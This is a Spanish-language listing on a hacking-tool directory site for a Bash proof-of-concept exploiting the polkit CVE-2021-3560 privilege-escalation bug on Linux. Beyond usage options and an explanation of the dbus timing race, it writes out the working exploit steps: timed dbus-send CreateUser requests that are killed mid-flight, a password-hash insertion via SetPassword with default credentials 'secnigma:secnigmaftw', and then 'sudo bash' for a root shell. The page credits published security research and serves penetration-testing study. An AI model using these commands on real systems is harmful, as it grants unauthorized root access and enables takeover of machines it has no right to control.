Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-3560-PolkitPrivilegeEsclation — PoC automatizado en Bash para la escalada de privilegios de polkit CVE-2021-3560. Explota la condición de carrera de temporización de dbus para crear un usuario sudo y obtener una shell root en distribuciones Linux vulnerables. | Kitploit
Herramientas/GitHubGitHub/yutasato88/cve-2021-3560-polkitprivilegeesclation
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónPost-ExplotaciónPruebas de PenetraciónRed Teaming
GitHubyutasato88/cve-2021-3560-polkitprivilegeesclation

CVE-2021-3560-PolkitPrivilegeEsclation

PoC automatizado en Bash para la escalada de privilegios de polkit CVE-2021-3560. Explota la condición de carrera de temporización de dbus para crear un usuario sudo y obtener una shell root en distribuciones Linux vulnerables.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
hace 4 mesesAún no revisado

CVE-2021-3560-Polkit-Privilege-Esclation PoC

Investigación original por Kevin Backhouse

Esto es solo un script Bash de PoC que automatiza los pasos de explotación mencionados en el blog de Kevin Backhouse. Lee su publicación sobre esta vulnerabilidad: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

Uso

root@kitploit:~
USAGE:
     ./poc.sh
     -h --help
     -u=Enter custom username to insert (OPTIONAL)
     -p=Enter custom password to insert (OPTIONAL)
     -f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
     -t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
     Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms 
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'

Cosas a tener en cuenta:

  • Este exploit funciona solo en distribuciones que tengan instalados accountsservice y gnome-control-center, y debe tener la versión 0.113 (o posterior) de polkit O 0-105-26 (fork de polkit para Debian).
  • Este exploit fue probado en Ubuntu 20.04, con la versión 0-105-26 de polkit (fork de polkit para Debian) y en Centos 8 con la versión 0.115 de polkit. Si estás seguro de que tu objetivo es vulnerable, pero la función de comprobación del exploit falla, usa la opción para omitir todas las comprobaciones y forzar el exploit.

¿Cómo funciona el exploit?

La explicación completa y el PoC para explotar esto manualmente se dan en detalle en el blog del investigador.

TL;DR de este exploit se muestra a continuación:

  • Este ataque requiere una sincronización precisa y debemos iniciar sesión vía SSH (o alguna sesión de línea de comandos, donde abrir aplicaciones gráficas no sea una opción).
  • Un atacante puede explotar esta vulnerabilidad activando polkit mediante el envío de un mensaje dbus, pero cerrando la solicitud abruptamente mientras polkit está procesando la solicitud. Luego, el atacante puede enviar una segunda solicitud con el identificador de bus único de la solicitud anterior, para ejecutar la solicitud como UID 0, también conocido como root.
  • Esta vulnerabilidad existe en polkit, porque trata el UID de una conexión con un identificador de bus que ya no existe como una solicitud del UID 0. Esto significa que, si podemos sincronizar correctamente el ataque y terminar nuestra primera solicitud en el momento adecuado, entonces podemos realizar la segunda solicitud con los privilegios del UID 0, también conocido como root.
  • El momento para terminar la conexión se calcula como el tiempo requerido para enviar el mensaje dbus / 2. Explicado en detalle aquí.

¿Qué hace realmente este script?

Como dije antes, esto es solo un script bash que automatiza el PoC de Kevin Backhouse. Los comandos principales son los mismos; solo automaticé algunos pasos iniciales (como calcular el tiempo correcto, escanear la vulnerabilidad, insertar credenciales personalizadas, imprimir colores bonitos, etc.).

Si este script se ejecuta sin ningún parámetro, el comportamiento predeterminado de este script es el siguiente:

  • Comprueba el tipo de distribución. [Usando el archivo /etc/os-release.]
  • Comprueba la instalación de accountservice y gnome-control-center. [En distribuciones rhel/centos/fedora, usa rpm -qa y en distribuciones debian/ubuntu, usa dpkg -l].
  • Si se encuentran las instalaciones, el script comprueba la versión de polkit. [ 0.113 (o posterior) para rhel.centos,fedora y 0-105-26 para Debian/Ubuntu]
  • Si se encuentra que la versión de polkit es vulnerable, el script comienza la explotación.
  • Primero, el script calcula el tiempo requerido para enviar la solicitud usando debus-send ejecutando: bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null
Descargar herramienta
-f=y
  • Se ha descubierto que distribuciones como RHEL 8, Fedora 21, Debian testing («bullseye») y Ubuntu 20.04 son vulnerables.
  • Puedes encontrar una lista de compatibilidad de distribuciones en el blog de Kevin.
  • Este script inyecta un nuevo usuario en el grupo sudo. Si el exploit funciona, podemos iniciar sesión en la cuenta usando su - <username> con la contraseña proporcionada al script, y luego ejecutar sudo bash para obtener una shell de root.
  • Dado que este ataque depende de una sincronización precisa, NORMALMENTE SE REQUIEREN MÚLTIPLES INTENTOS para que este exploit funcione.
  • ADVERTENCIA: ¡NO EJECUTES ESTE SCRIPT EN UN INICIO DE SESIÓN GRÁFICO!
  • Si este script se ejecuta en un entorno de inicio de sesión gráfico, el bucle mostrará repetidamente la autenticación de polkit. Por lo tanto, ejecuta este exploit solo dentro de una shell SSH/NC.
  • Si eso llega a ocurrir, presiona la tecla Esc para cerrar el aviso de autenticación y Ctrl+C para terminar el script rápidamente.
  • Luego, el tiempo para terminar la solicitud ($t) se calcula dividiendo el tiempo requerido para la solicitud entre 2. ($t=tiempo-requerido-para-la-solicitud/2) [Calculado usando awk]
  • Después de calcular el tiempo ($t), la solicitud para insertar el $username secnigma en el objetivo se repite 20 veces. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $!
  • Si la inserción del usuario tiene éxito, [se detecta usando id secnigma], se genera un hash de contraseña [usando bash openssl passwd -5 `echo -n $password` ]. ($password=secnigmaftw)
  • Luego, el comando de inserción del hash de contraseña se ejecuta 20 veces. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!